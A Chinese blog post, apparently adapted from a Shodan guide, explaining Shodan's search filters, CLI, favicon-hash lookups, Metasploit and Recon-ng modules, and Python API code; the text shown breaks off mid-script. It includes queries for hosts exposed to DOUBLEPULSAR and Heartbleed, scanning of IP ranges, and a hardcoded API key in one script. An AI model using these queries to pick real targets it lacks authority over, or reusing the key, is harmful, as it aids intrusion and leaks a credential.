DSLBQ'S_BLOG

标签: 安全

  • Shodan手册

    Shodan手册

    前言

    本文主要对Complete Guide to Shodan的内容进行增、删、改,虽篇幅较长,但内容涉及了Shodan的搜索语法、客户端命令行、API编程、工具插件、工控等,较为详细,适合当作Shodan手册。代码和搜索示例均已亲自测试并附截图。

    介绍

    Shodan是一个搜索互联网连接设备的搜索引擎,不同于谷歌、必应、百度这些搜索引擎。用户可以在Shodan上使用Shodan搜索语法查找连接到互联网的摄像头、路由器、服务器等设备信息。在渗透测试中,是个很不错的神器。

    Shodan的搜索流程:

    关于数据

    Shodan采集的基本数据单位是banner。banner是描述设备所运行服务的标志性文本信息。对于Web服务器来说,其将返回标题或者是telnet登陆界面。Banner的内容因服务类型的不同而相异。

    以下这是一个典型的HTTP Banner:

    HTTP/1.1 200 OK
    Server: nginx/1.1.19
    Date: Sat, 03 Oct 2015 06:09:24 GMT
    Content-Type: text/html; charset=utf-8
    Content-Length: 6466
    Connection: keep-alive
    

    上面的banner显示该设备正在运行一个1.1.19版本的nginx Web服务器软件

    下面是西门子S7工控系统协议的一个banner,这次返回的banner完全不同,提供了大量的详细数据(有关的固件信息、序列号):

    Copyright: Original Siemens Equipment
    PLC name: S7_Turbine
    Module type: CPU 313C
    Unknown (129): Boot Loader           A
    Module: 6ES7 313-5BG04-0AB0  v.0.3
    Basic Firmware: v.3.3.8
    Module name: CPU 313C
    Serial number of module: S Q-D9U083642013
    Plant identification: 
    Basic Hardware: 6ES7 313-5BG04-0AB0  v.0.3
    

    注:Shodan搜索的是联网设备运行服务的banner,不是单一的主机信息。如果单个IP暴露很多服务信息,在指定特定搜索内容的时候,搜索结果只会出现指定的内容,不会显示其他的服务信息。

    设备元数据

    除了获取banner,Shodan还可以获取相关设备的元数据,例如地理位置、主机名、操作系统等信息。大部分元数据可以通过Shodan的官网获取,小部分的可以通过使用API编程获取。

    IPv6

    据统计,截至2015年10月,Shodan每月收集数百万条关于IPv6设备的可用数据。不过与收集的数亿个IPv4 banner相比,这些数字还是苍白。预计在未来几年会有所增长。

    数据采集

    频率

    Shodan的爬虫全天候工作,并实时更新数据库。在任何时候使用Shodan查询,都可以获得最新的结果。

    分布式

    爬虫分布于世界各地,包括:

    • 美国(东海岸和西海岸)
    • 中国
    • 冰岛
    • 法国
    • 台湾
    • 越南
    • 罗马尼亚
    • 捷克共和国

    从世界各地收集数据是为了防止地区各种因素的差异造成数据的偏差。例如,美国的许多系统管理员会封锁整个中国的IP范围,分布在世界各地的Shodan爬虫就可以确保任何全国性的封锁不会影响数据收集。

    随机

    Shodan爬虫的基本算法是:

    1. 生成一个随机的IPv4地址
    2. 从Shodan能解析的端口列表中生成一个随机端口测试
    3. 检测随机端口上的随机IPv4地址,并获取Banner
    4. 继续步骤1

    这意味着爬行器不扫描增量的网络范围。爬行是完全随机的,以确保在任何给定的时间内对因特网进行统一的覆盖,并防止数据的偏差。

    深入SSL

    SSL正在成为互联网上重要的服务,Shodan也随之扩展性地收集其banner,包括收集每个SSL的功能服务及其漏洞信息,比如HTTPS,不仅仅是SSL证书。

    漏洞测试

    心脏出血漏洞

    如果某服务有心脏出血漏洞Heartbleed bug),返回的banner将包含以下2个附加属性。opts.heartbleed包含了对服务进行心脏出血漏洞测试的原始回应(在测试中,爬虫只抓取少量溢出来确认服务是否受到心脏出血的影响,不会获取泄露的私钥)。若设备容易受到攻击,爬虫会将CVE-2014-0160添加到opts.vulns列表中;若不易受到攻击,则会返回!CVE-2014-0160

    {
        "opts": {
            "heartbleed": "... 174.142.92.126:8443 - VULNERABLE\n",
            "vulns": ["CVE-2014-0160"]
        }
    }
    

    Shodan也支持漏洞信息搜索。比如,要搜索美国受心脏滴血漏洞影响可在shodan输入country:US vuln:CVE-2014-0160

    FREAK

    如果服务支持导出密码,则爬虫程序就将“CVE-2015-0204”项添加到opts.vulns属性

    "opts": {
        "vulns": ["CVE-2015-0204"]
    }
    
    Logjam

    爬虫将短暂使用Diffie-Hellman密码连接到SSL服务,若连接成功就存储返回以下信息:

    "dhparams": {
        "prime": "bbbc2dcad84674907c43fcf580e9...",
        "public_key": "49858e1f32aefe4af39b28f51c...",
        "bits": 1024,
        "generator": 2,
        "fingerprint": "nginx/Hardcoded 1024-bit prime"
    }
    
    版本

    通常情况下,当浏览器连接到SSL服务时,它将协商应该与服务器一起使用的SSL版本和密码。然后,他们会就某个SSL版本(如TLSv1.2)达成一致,然后将其用于通信。

    Shodan爬虫开始按照上面所述的正常请求,与服务器进行协商连接SSL。但是,之后,他们还显式地尝试使用其他的SSL版本连接到服务器。换句话说,爬行器尝试使用SSLv2、SSLV3、TLSv1.0、TLSv1.1和TLSv1.2连接到服务器,来确定该SSL服务支持的所有版本。

    收集到的信息将在ssl.versions版本字段中显示:

    {
        "ssl": {
            "versions": ["TLSv1", "SSLv3", "-SSLv2", "-TLSv1.1", "-TLSv1.2"]
        }
    }
    

    如果在版本前面有一个-符号,那么该设备不支持SSL版本。如果版本不以-开头,则服务支持给定的SSL版本。例如,上面的服务器支持: TLSv1SSLv3

    不支持版本:SSLv2TLSv1.1TLSv1.2

    TLS 1.0通常被标示为SSL 3.1,TLS 1.1为SSL 3.2,TLS 1.2为SSL 3.3。见传输层安全性协议

    版本信息可以通过shodan的网站或者API搜索。例如,输入ssl.version:sslv2搜索查询将返回允许使用SSLv2的所有SSL服务(包括HTTP、SMTP、HTTP、POP3、IMAP等)

    遵循链

    证书链是从root到最终用户的SSL证书列表;SSL的banner服务包括一个ssl.chain属性,该属性包含PEM序列化证书中链的所有SSL证书。

    基础之上

    对于大多数服务,爬虫试图分析主要的banner文本,并解析出有用的信息。不过有些情况是,抓取MongoDB的集合名称,从远程桌面服务获取屏幕截图,存储比特币的对等点列表。有两种Shodan使用的高级数据分析技术,我想强调一下:

    Web组件

    爬虫也会尝试确定创建网站的Web技术。对于http和https模块,将分析header和HTML来分解网站的组件。结果信息存储在http.components属性中。该属性是一个技术字典,关键是技术的名称(例如jQuery),值是另一个具有类别属性的字典。categories属性是与技术相关的类别列表。例如

    "http": {
        ...
            "components": {
                "jQuery": {
                    "categories": ["javascript-frameworks"]
                },
                "Drupal": {
                    "categories": ["cms"]
                },
                "PHP": {
                    "categories": ["programming-languages"]
                }
            },
                 ...
        },
    

    http.components表明该网站在运行Drupal内容管理系统,该系统本身使用的jQueryPHPShodan REST API使信息通过过滤器http.component和2个方面(http.componen和http.component_category)进行搜索。要获得所有可能的组件/类别值的完整列表,请使用新的方面。例如,要获得所有可能类别的完整列表,请使用以下shodan命令:

    shodan stats --facets http.component_category:1000 http
    

    级联

    如果一个banner返回了关于对等点的信息,或者有关于另一个运行服务的IP地址的信息,那么爬虫就会试图在这个IP/服务上执行一个banner抓取。例如:主线DHT(过去用于Bittorrent)的默认端口是6881。这样一个DHT节点的banner看起来如下:

    DHT Nodes
    97.94.250.250	58431
    150.77.37.22	34149
    113.181.97.227	63579
    252.246.184.180	36408
    83.145.107.53	52158
    77.232.167.126	52716
    25.89.240.146	27179
    147.23.120.228	50074
    85.58.200.213	27422
    180.214.174.82	36937
    241.241.187.233	60339
    166.219.60.135	3297
    149.56.67.21	13735
    107.55.196.179	8748
    

    以前,抓取工具会抓取上面的banner,然后继续抓取。现通过为DHT banner的抓取启用级联功能,抓取工具现在可以为所有的对等启动新的banner抓取请求。在上面的示例中,搜寻器将使用DHT banner捕获器,在IP为97.94.250.250的58431端口上启动扫描150.77.37.22,继续在端口34149上启动扫描,依此类推。也就是说,如果初始扫描数据包含有关其他潜在主机的信息,对IP的单次扫描可能会导致级联扫描。

    为了跟踪初始扫描请求与任何子级/级联请求之间的关系,我们引入了2个新属性:

    • _shodan.id:banner的唯一ID。如果可以从服务启动级联请求,这个属性就一定存在,但这并不一定意味着级联请求会成功。
    • _shodan.options.referrer:提供触发创建当前banner的banner的唯一ID。即引用者是当前banner的父代。

    Web界面

    访问Shodan收集的数据最简单的方法是通过Web界面。所有的人都可以输入一个需要查询的设备。

    搜索查询说明

    默认情况下,搜索查询仅查看主横幅文本,不搜索元数据。例如,如果您要搜索“Google”,那么搜索结果将只包含标题中显示“Google”文本的结果;它不一定会返回Google网络范围的结果。

    如上所述,搜索“谷歌”返回许多组织购买并连接到Internet的谷歌搜索设备;它不返回谷歌的服务器。

    Shodan将尝试找到匹配所有搜索项的结果,这意味着隐含地在每个搜索项之间存在+AND连接符号。例如,搜索查询“apache + 1.3”相当于“apache 1.3”

    要搜索特定的元数据需要使用搜索过滤器。

    过滤器

    过滤器是Shodan用来根据服务或设备的元数据缩小搜索结果的特殊关键字。输入过滤器的格式是:

    注意:和值之间没有空格

    要使用包含过滤器空间的值,必须将值包含在双引号中。例如搜索圣地亚哥的所有联网设备:

    筛选多个值可以使用,分开。比如要查找23号端口和1023号端口上运行telnet的设备:

    如果过滤语法不允许使用逗号(如port,hostname,net),那么可以使用多个值联合查询:

    port:80,8080  city:"beijing" hostname:"baidu.com"
    

    当然也可以使用-排除结果。比如:

    port:23,1023  -city:"San Diego"
    

    有时候也需要过滤一些主文本标题为空的搜索结果,这时候就需要使用-hash:0。比如:

    Shodan上的每个banner都有一个哈希值,对于空的banner,hash值就为0。若尝试搜索简短的、静态的banner,使用哈希过滤语法就比较便捷。

    shodan支持大量的过滤器,比较常用的是:

    过滤器名描述举例
    category现有的分类:ics, malwarecategory:"malware"
    city城市的名字city:"San Diego"
    country国家简写country:"ES" country:"CN"
    netCIDR格式的IP地址net:190.30.40.0/24
    hostname主机名或域名hostname:"google"
    port端口号port:21
    org组织或公司org:"google"
    ispISP供应商isp:"China Telecom"
    product软件、平台product:"Apache httpd" product:"openssh"
    os操作系统os:"Windows 7 or 8"
    version软件版本version:"2.6.1"
    geo经纬度geo:"46.9481,7.4474"

    搜索引擎

    默认情况下,搜索查询将查看过去30天内收集的数据。

    下载数据

    完成搜索后,顶部将出现一个名为“下载数据”的按钮。点击该按钮将为您提供以JSON,CSV(XML已经弃用)格式下载搜索结果的选项。

    JSON格式的文件,其中每行包括全部的banner和所有附带的元数据收集信息。这是保存所有可用信息的首选格式。格式与Shodan命令行客户端兼容,这意味着可以从Shodan网站下载数据,然后使用终端进一步处理。

    CSV格式的文件,返回包含IP、端口,banner,组织和主机名内容。它不包含由于CSV文件格式的限制收集的所有Shodan信息。如果只关心结果的基本信息,并希望快速将其加载到外部工具(如Excel)中,可以使用此方法。

    下载数据会消耗积分,积分需要在网站上购买。积分与Shodan API没有任何关联,并且不会每月自动更新。1积分可用于下载10000个结果。

    生成报告

    Shodan可让根据搜索查询生成报告。该报告包含图表,可以全面了解互联网上的分发结果。这个功能是免费的,任何人都可以使用。

    分享结果

    搜索完成之后,可以自定义,分享内容给其他Shodan用户。

    共享搜索查询是公开查看的

    例子

    搜索美国的服务器在8080端口上运行8.0版本IIS服务的服务器:

    port:8080 product:"Microsoft-IIS" country:"US" version:"8.0"
    

    搜索可能受到DOUBLEPULSAR攻击的机器:

    port:445 "SMB Version: 1" os:Windows !product:Samba
    

    搜索所有nist.gov域名里的apache服务:

    apache hostname:.nist.gov
    

    图标搜索

    通过已知icon hash搜索目标

    0x01 获取谷歌地址

    ping一下google,获得一个谷歌ip,为172.217.27.174

    0x02 查看原数据

    使用shodan搜索刚才获取的IP,并找到查看原始数据那一行

    0x03 查找favicon hash

    打开原始数据,找到data.1.http.favicon.hash,其值为708578229:

    0x04 图标hash搜索

    在Shodan网页搜索的过滤器处输入http.favicon.hash:708578229就可以搜索shodan所收录的谷歌的网站。

    0x05 favicon data

    data.1.http.favicon.data的值是base64,可以自行验证

    通过未知icon hash搜索目标

    0x01 背景

    在分析一个站点的登陆界面,没有其他信息,只有一个icon的时候,这时候就可以通过shodan搜索相同模板的站来入手,找突破口。

    如果目标已经被shodan收录,直接搜索对应的IP就能通过上述方法进行图标hash搜索。如果是目标未被收录,就可以通过现在这个方法来进行侧面突破。

    0x02 原理

    shodan对icon的处理其实是通过MurmurHash进行存储的。MurmurHash是一种非加密型哈希函数,适用于一般的哈希检索操作。由Austin Appleby在2008年发明,并出现了多个变种,[6]都已经发布到了公有领域(public domain)。与其它流行的哈希函数相比,对于规律性较强的key,MurmurHash的随机分布特征表现更良好。其地址在github

    0x03 icon hash的生成验证

    直接在本地使用pip安装mmh3。

    验证代码如下:

    import mmh3
    import requests
    response = requests.get('https://www.baidu.com/favicon.ico')
    favicon = response.content.encode('base64')
    hash = mmh3.hash(favicon)
    print hash
    

    运行验证代码获得icon hash

    在shodan中进行http.favicon.hash:-1507567067搜索,验证成功

    0x04 扩展

    例如http://common.cnblogs.com/favicon.ico得到博客园的icon,直接将图标地址放入脚本中计算其hash值,得到-395680774,再在shodan中搜索http.favicon.hash:-395680774

    Shodan地图

    https://maps.shodan.io/

    直观的地图界面,显示搜索的结果

    使用可改变显示风格,有卫星、街景选项。

    Shodan Exploits

    https://exploits.shodan.io

    Shodan Exploits收集来自CVE,Exploit DB和Metasploit的漏洞和攻击,使其可通过Web界面进行搜索。

    Shodan Exploit搜索的结果不同于Shodan,Exploit搜索的内容包括exploit的信息和元数据。

    名称描述举例
    author漏洞或exploit的作者author:"Tom Ferris"
    description描述description:"remote"
    platform平台platform:"php" platform:"windows" platform:"Linux"
    type漏洞类型type:"remote" type:"dos"

    Shodan Images

    https://images.shodan.io

    顶部的搜索框使用与Shodan主搜索引擎相同的语法。使用搜索框按组织或网点筛选最有用。但是,它也可以用于过滤显示的图像类型。

    图像数据主要来自:

    • VNC
    • Remote Desktop (RDP)
    • RTSP
    • Webcams
    • X Windows

    每个图像源来自不同的端口/服务,因此具有不同的banner。如果只想看到来自摄像头的图像,你可以搜索:

    查找VNC可以输入RFB,查找RTSP可以使用RTSP

    如果在Shodan中搜索截图,可以使用has_screenshot:true

    has_screenshot:true country:"KR"
    

    共享的Shodan搜索语法

    链接见https://www.shodan.io/explore

    关于Shodan的外部工具

    Shodan命令行界面

    安装最新的Shodan可以通过

    安装该工具之后,使用API对其进行初始化操作:

    alert命令

    alert命令提供创建、列表、清除和删除网络提醒的能力。

    convert命令

    convert命令是导出Shodan的搜索结果文件,比如JSON文件。

    count命令

    统计查询结果

    shodan count microsoft iis 6.0
    

    download命令

    搜索Shodan并将结果导出到JSON文件中(请参阅附录A)。

    默认情况下,只下载1000个结果。如果想导出更多的结果,加上--limit标志。

    download命令可以保存搜索结果到本地,随时使用parse命令处理结果,当再次导出相同搜索内容的时候,就不必再花费积分导出。

    shodan download  microsoft iis 6.0
    

    host命令

    查看有关主机的信息,例如它位于何处,哪些端口是开放的以及哪个组织拥有其IP。

    shodan host 189.201.128.250
    

    honeyscore命令

    检查IP地址是否是蜜罐。

    shodan honeyscore 41.231.95.212
    

    info命令

    查询自己的API账户信息,包括本月剩余的查询次数和扫描积分数量。

    myip命令

    返回本机的出口IP(类似于curl ip.cn

    parse命令

    使用parse来分析使用导出的搜索结果。它可以让过滤出感兴趣的字段,也可以将JSON转换为CSV。这样,对于导入到其他脚本比较友好。

    以下命令输出之前下载的Microsoft-IIS数据,并且将JSON文件转换为的CSV格式的文件。其中包括IP地址,端口和归属组织:

    shodan parse --fields ip_str,port,org --separator , microsoft-data.json.gz
    

    scan命令

    scan命令提供了一些子命令。最重要的一个是submit命令,这个命令可以使用shodan执行网络扫描。

    shodan scan submit 198.20.99.0/24
    

    默认情况下,它将显示IP,端口,主机名和数据。您可以使用--fields来打印感兴趣的任何banner字段。

    search命令

    search命令搜索时候,终端将以友好的方式显示结果。默认情况下,它将显示IP,端口,主机名和数据。不过可以使用--fields参数来打印感兴趣的任何banner字段。

    shodan search --fields ip_str,port,org,hostnames microsoft iis 6.0
    

    stats命令

    提供关于搜索的摘要信息,当然可以用于统计信息。命令显示了Apache Web服务器所在的最常用的国家:

    shodan stats --facets country apache
    

    stream命令

    stream命令提供对Shodan爬虫收集的实时数据流的访问。

    该命令支持许多不同的选项,但有2个是重要的提及:

    • --datadir:可以指定流数据存储的目录,生成的文件格式YYYY-MM-DD.json.gz。每天只要保持数据流运行,就会生成一个新的文件。
      • 例如:从实时数据流保存数据到指定路径,可以使用shodan stream --datadir /var/lib/shodan/
    • --limit:指定应下载多少结果。默认情况下,该stream命令将一直运行,直到退出该工具。但是,如果只想收集数据样本,那么--limit参数可确保收集少量记录。
      • 例如:shodan stream --limit 100可以连接到Shodan实时流,打印出前100条记录,然后退出
    • --ports:接受逗号分隔端口,收集指定端口记录的清单
      • 例如:shodan stream --ports 80,8080

    例子

    官方例子

    官方例子见 28 public asciicasts by Shodan:https://asciinema.org/~Shodan

    网络分析例子

    Shodan最常见的使用案例是使用它来更好地了解公共网络范围内的运行情况。Shodan命令行工具可以快速帮助、处理你的目标。例如,查看78.13.0.0/16段在网上暴露了多少服务。

    shodan count net:78.13/16
    

    count命令提供了关于78.13.0.0/16段暴露了4960个服务

    统计出该网段暴露的最多端口数的top10:

    shodan stats --facets port net:78.13/16
    

    有时候也需要详尽的端口暴露数分配报告,因此指定最大的端口,返回此端口范围的暴露数统计情况:

    shodan stats --facets port:100000 net:78.13/16
    

    该网络上有955个端口被发现暴露,并统计出各自端口暴露数。最多的是7547端口,这个端口是调制解调器的端口,这个端口也有很多的安全问题可以关注。在统计中也有一些非常见的标准端口,这些端口大多是为了掩盖自己真实的Web服务。

    统计该网段的80、443端口上的服务情况:

    shodan stats --facets product "HTTP net:78.13/16 -port:80,443"
    

    这里应将端口号放在引号中,防止bash认为该port是shodan的命令参数。

    分析SSL的例子

    若要了解整个网络的SSL使用情况,可按照以下来查询

    shodan stats --facets ssl.version HTTP net:78.13/16
    

    可以看出大多运行的是TLS1.0及其以上的版本,不过还有一些古老的设备在使用sslv2。

    在web端的shodan搜索出来:

    分析telnet情况

    mkdir telnet-data
    
    shodan stream --ports 23,1023,2323 --datadir telnet-data / --limit 10000
    

    创建一个名为telnet-data的目录来存储telnet数据,然后从实时数据流中导出10000条记录,存储在telnet-data文件夹中

    Maltego扩展组件/assets

    shodan扩展组件为Maltego提供了2/assets新的实体功能(service和exploit)和五个转换:

    • searchShodan
    • searchShodanByDomain
    • searchShodanByNetblock
    • toShodanHost
    • searchExploits

    浏览器插件

    ChromeFirefox都有插件可以使用

    Metasploit

    MSF主要有两个shodan模块:

    1. Shodan的常用搜索:`auxiliary/gather/shodan_search`
    
    use auxiliary/gather/shodan_search
    
    set SHODAN_APIKEY ********************
    
    set QUERY ****
    
    run 
    
    1. Shodan的蜜罐验证:auxiliary/gather/shodan_honeyscore:
    use auxiliary/gather/shodan_honeyscore 
    
    set SHODAN_APIKEY ********************
    
    set TARGET your_target
    
    run
    

    Recon-ng

    先添加shodan API的key:

    keys add shodan_api VZbVJy***n8S****hS1YM1****enTuy
    

    显示可用的模块:

    使用shodan搜索主机名:

    use recon/domains-hosts/shodan_hostname
    

    设置参数,并运行:

    show options
    set SOURCE google
    set LIMIT 1
    run
    

    Developer API

    Shodan提供了一个开发者的API(https://developer.shdan.io/api)来编程,获取所需要的信息。可以通过网站完成的事情都可以通过代码完成。

    该API分为两部分:REST API和Streaming API。REST API提供搜索Shodan的方法,查找主机,获取关于查询的信息的摘要。Streaming API提供Shodan当前收集的数据的原始实时返回。有几个不同的套餐可以获取,该API获取的数据不能被搜索或用其他方式进行交互,适用于需要获取大量数据的人。

    只有购买开发者API计划的人才能获得Streaming API。

    使用限制

    根据API的套餐不同,API会有不同的限制:

    1. 搜索:每月的搜索次数有不同的限制,且需要使用查询积分。如果直接查询不会消耗查询积分,若进行过滤器或者是超过一页的搜索就需要消耗查询积分。搜索apache不需要消耗查询积分,搜apache country:"US"将会消耗一个查询积分,就算查询第二页也只会消耗一个查询积分。
    2. 扫描:按需获得的API也会根据积分限制每月扫描主机的数量。对于每个主机的扫描都需要一个扫描积分才能扫描。
    3. 网络提醒:根据不同的API的使用次数可以使用提醒功能监视所查询的IP。只有付费客户才能使用此功能,且无法在账户中创建超过100条提醒。

    Facets

    过滤器缩小搜索结果。而Facets提供关注的banner字段的聚合信息,会得到一个大的结果视图。例如,Shodan网站使用Facets来提供搜索的统计信息,类似于在左侧显示的:

    Facets有很多可以选择的参数。比如port:22Facetsssh.fingerprint,输出的时候就能显示出网络上SSH的详细条目。

    目前Facet只能在API和Shodan的命令行上使用

    入门

    所有的例子使用python来演示,当然其他的语言也有Shodan的库/客户端

    为python环境安装Shodan库:

    如果已经安装shodan,可以使用:

    初始化

    首先要做的是初始化:

    import shodan
    api = shodan.Shodan('YOUR API KEY')
    

    在https://account.shodan.io获取API密钥

    搜索

    已经拥有API密钥之后,准备进行搜索:

    #将请求包放在一个try/except块中,捕获抛出的异常
    try:
            # Search Shodan
            results = api.search('apache')
     
            # Show the results
            print 'Results found: %s' % results['total']
            for result in results['matches']:
                    print 'IP: %s' % result['ip_str']
                    print result['data']
                    print ''
    except shodan.APIError, e:
            print 'Error: %s' % e
    

    首先调用api对象的Shodan.search()方法,该方法返回的结果放入字典之中。然后,打印出搜索结果数量,最后将返回的结果进行遍历循环,并打印其IP和banner。每一页的搜索结果多达100个。

    当然查询的时候还有很多返回信息。下面是Shodan.search返回的部分信息:

    {
    	'total': 23199543,
    	'matches': [
    		{
    			'data': 'HTTP/1.1 301 Moved Permanently\r\nDate: Thu, 01 Feb 2018 02:43:53 GMT',
    			'hostnames':['mypage.ponparemall.com'],
    			'ip': 2685469827L,
    			'ip_str': '160.17.4.131',
    			'port': 80,443,
    			'isp': Recruit Holdings Co.,Ltd.,
    			'timestamp': '2018-02-01T02:47:34.036371'
    		},
    		...
    	]
    }
    

    有关banner可能包含的属性的完整列表请参阅附录A

    默认情况下,为了节省带宽使用量,banner中的一些大的字段会被截断(比如HTML的)。若想要检索所有的信息,只需使用minify=False禁用概要。例如,用以下代码可以将匿名VNC服务的查询结果全部返回:

    results = api.search('has_screenshot:true', minify=False)
    

    任何错误都会引发异常,将API请求封装在try/except是一种良好的代码习惯,不过为了简单起见,例子暂时不用try/except

    以上脚本仅输出第一页的搜索结果。要想获得第二页或更多的结果,可以使用page参数执行请求:

    results = api.search('apache',page=2)
    

    如果想遍历所有的结果,使用search_cursor()方法会更加便捷:

    for banner in api.search_cursor('apache'):
        print(banner['ip_str']) # 打印出该IP的每个banner
    

    search_cursor()方法只能循环结果,返回banner,不能使用Facets

    主机查找

    要用Shodan查找特定的IP,可用Shodan.host()函数:

    # 查询主机
    host = api.host('217.140.75.46')
    
    # 打印一般信息
    print """
    	IP: %s
    	Organization: %s
    	Operating System: %s
    """ % (host['ip_str'], host.get('org', 'n/a'), host.get('os', 'n/a'))
    
    # 打印所有的banner
    for item in host['data']:
    	print """
    		Port: %s
    		Banner: %s
    		""" % (item['port'], item['data'])
    

    默认情况下,Shodan只返回最近收集的主机的信息。如果想获取IP地址的完整历史记录,就使用history参数。

    host = api.host('217.140.75.46', history=True)
    

    虽然以上代码可以返回所有banner,但其中也包括一些可能不再在主机上活动的服务。

    扫描

    Shodan每月至少爬取一次,但是如果想用Shodan立即扫描网络,就可以使用API​​扫描。(订购的不同API有不同的扫描次数)

    与Nmap等工具扫描不同,使用Shodan进行的扫描是异步完成的,在进行Shodan扫描之后不会马上就收到扫描结果。这取决于开发人员是如何收集扫描结果的,是直接查找IP信息,是用Shodan直接搜索,还是订购实时信息流查找。Shodan命令行界面在启动扫描后,创建临时网络提醒,然后根据实时数据流出扫描结果。

    scan = api.scan('198.20.69.0/24')
    

    也可以使用CIDR表示法的地址来提供扫描目标:

    scan = api.scan(['198.20.49.30', '198.20.74.0/24'])
    

    在向API提交了扫描请求之后,会返回以下信息:

    {
    	'id': 'R2XRT5HH6X67PFAB',
    	'count': 1,
    	'credits_left': 5119
    }
    
    • id:唯一的扫描标识符
    • count: 提交的IP扫描数
    • credits: 剩余的扫描积分

    实时数据流

    Streaming API是一种基于HTTP的服务,可返回Shodan收集的实时数据流。它不提供任何搜索或查找功能,它只是抓取工具收集的所有内容的概要。

    例如,以下是一个脚本的部分代码,可以从容易受到FREAK(CVE-2015-0204)攻击的设备输出banner:

    def has_vuln(banner, vuln):
        if 'vulns' in banner['opts'] and vuln in banner['opts']['vulns']:
            return True
        return False
    
    for banner in api.stream.banners():
        if has_vuln(banner, 'CVE-2015-0204'):
            print banner
    

    在上面的例子中,has_vuln()方法检查服务是否可能存在CVE-2015-0204

    banner中的许多属性是可选的,这样可以节省空间和带宽。为了使可选属性更容易处理,最好在函数中封装对属性的访问。

    注意:常规的API能访问的数量仅仅是订购的API数量的1%,只有订购了API具有许可证的客户才有100%的访问权限

    网络提醒

    要创建网络提醒,需要提供一个提醒名称和一个IP范围。名称应该具有概述性,当受到提醒的时候,就大概知道是什么监视内容被返回了。

    alert = api.create_alert('Production network', '198.20.69.0/24')
    

    正如scan()方法一样,可以提供监视的网络范围列表:

    alert = api.create_alert('Production and Staging network', [
    	'198.20.69.0/24',
    	'198.20.70.0/24',
    ])
    

    只能使用有限数量的监视IP,并且每个帐户不能有超过100个监视提醒在活动。

    将网络提醒与扫描API结合使用时,一个有用的技巧是设置提醒的时间:

    alert = api.create_alert('Temporary alert', '198.20.69.0/24', expires=60)
    

    上述代码可以使得提醒会激活使用60s,60s之后就会停止,不再进行监视。

    成功创建提醒之后,API将返回以下对象:

    {
    	"name": "Production network", 
    	"created": "2015-10-17T08:13:58.924581", 
    	"expires": 0, 
    	"expiration": null, 
    	"filters": {
    		"ip": ["198.20.69.0/24"]
    	},
    	"id": "EPGWQG5GEELV4799",
    	"size": 256
    }
    

    订阅

    一旦创建了提醒,就可以将其用作实时数据流的监视。

    for banner in api.stream.alert(alert['id']):
    	print banner
    

    与常规实时流一样,该alert()方法提供了一个迭代器,其中每个项目都是由Shodan爬虫收集的banner。idalert()方法需要的唯一参数,在有网络提醒时会返回提醒ID。

    使用Shodan命令行界面

    接下来讲述如何使用Shodan的命令行界面快速清除基于Python代码创建的提醒。

    clear命令将会清除电脑上创建的所有alert。

    清除所有alert:

    $ shodan alert clear
    Removing Scan: 198.20.69.0/24 (ZFPSZCYUKVZLUT4F)
    Alerts deleted
    

    列出alert列表,确认有无alert:

    $ shodan alert list
    You haven't created any alerts yet.
    

    创建一个新的alert:

    $ shodan alert create "Temporary alert" 198.20.69.0/24
    Successfully created network alert!
    Alert ID: ODMD34NFPLJBRSTC
    

    最后一步是订阅监视提醒,并存储返回的数据。要为创建的警报传输结果,将ODMD34NFPLJBRSTC的警报ID提供给stream命令:

    $ mkdir alert-data
    $ shodan stream --alert=ODMD34NFPLJBRSTC --datadir=alert-data
    

    上面的命令中,使用ID为ODMD34NFPLJBRSTC的alert提醒,并且使用数据流传输结果。结果将存储在名为alert-data的目录中。每天都会在alert-data目录中生成具有一个当天收集banner的新文件。也就是说,不用关心轮转文件,stream命令会处理这些。几天后,目录将如下所示:

    $ ls alert-data
    2016-06-05.json.gz
    2016-06-06.json.gz
    2016-06-07.json.gz
    

    例子

    常用 Shodan 库函数

    • shodan.Shodan(key):初始化连接API
    • Shodan.count(query, facets=None):返回查询结果数量
    • Shodan.host(ip, history=False):返回一个IP的详细信息
    • Shodan.ports():返回Shodan可查询的端口号
    • Shodan.protocols():返回Shodan可查询的协议
    • Shodan.services():返回Shodan可查询的服务
    • Shodan.queries(page=1, sort='timestamp', order='desc'):查询其他用户分享的查询规则
    • Shodan.scan(ips, force=False):使用Shodan进行扫描,ips可以为字符或字典类型
    • Shodan.search(query, page=1, limit=None, offset=None, ufacets=None, minify=True):查询Shodan数据

    例子——基本的搜索

    #!/usr/bin/env python
    #
    # shodan_ips.py
    # Search SHODAN and print a list of IPs matching the query
    #
    # Author: achillean
    
    import shodan
    import sys
    
    # Configuration
    API_KEY = "VZbVJyrIrn8SCSxHhS1YM1XPeKt5nTuy"
    
    # Input validation
    if len(sys.argv) == 1:
            print 'Usage: %s <search query>' % sys.argv[0]
            sys.exit(1)
    
    try:
            # Setup the api
            api = shodan.Shodan(API_KEY)
    
            # Perform the search
            query = ' '.join(sys.argv[1:])
            result = api.search(query)
    
            # Loop through the matches and print each IP
            for service in result['matches']:
                    print service['ip_str']
    except Exception as e:
            print 'Error: %s' % e
            sys.exit(1)
    

    例子——使用Facets收集概要信息

    Shodan API的强大功能其中之一是获取各种属性的概要信息。若想了解哪些国家的Apache服务器最多,那么可以使用Facets;若想知道哪个版本的nginx最受欢迎,可以使用Facets;若想查看Microsoft-IIS服务器的正常运行时间,那么可以使用Facets

    以下脚本显示了如何使用shodan.Shodan.count()方法在使用Shodan API进行搜索时候不返回任何详细结果,只返回组织、域、端口、ASN和国家的信息:

    #!/usr/bin/env python
    #
    # query-summary.py
    # Search Shodan and print summary information for the query.
    #
    # Author: achillean
    
    import shodan
    import sys
    
    # Configuration
    API_KEY = 'YOUR API KEY'
    
    # 键入想获取的信息
    FACETS = [
        'org',
        'domain',
        'port',
        'asn',
    
        # 只关注前三城市,('country', 3)让Shodan返回前三城市
        # Facet默认五个搜索区域(比如搜索1000个国家,就键入('country', 1000)
    ]
    
    FACET_TITLES = {
        'org': 'Top 5 Organizations',
        'domain': 'Top 5 Domains',
        'port': 'Top 5 Ports',
        'asn': 'Top 5 Autonomous Systems',
        'country': 'Top 3 Countries',
    }
    
    # Input validation
    if len(sys.argv) == 1:
        print 'Usage: %s <search query>' % sys.argv[0]
        sys.exit(1)
    
    try:
        # 键入Shodan API
        api = shodan.Shodan(API_KEY)
    
        # Generate a query string out of the command-line arguments
        query = ' '.join(sys.argv[1:])
    
        # 使用count()方法,因为它不返回结果,不需要通过付费API才能使用
        # count()运行速度快于search().
        result = api.count(query, facets=FACETS)
    
        print 'Shodan Summary Information'
        print 'Query: %s' % query
        print 'Total Results: %s\n' % result['total']
    
        # 从Facets打印摘要信息。
        for facet in result['facets']:
            print FACET_TITLES[facet]
    
            for term in result['facets'][facet]:
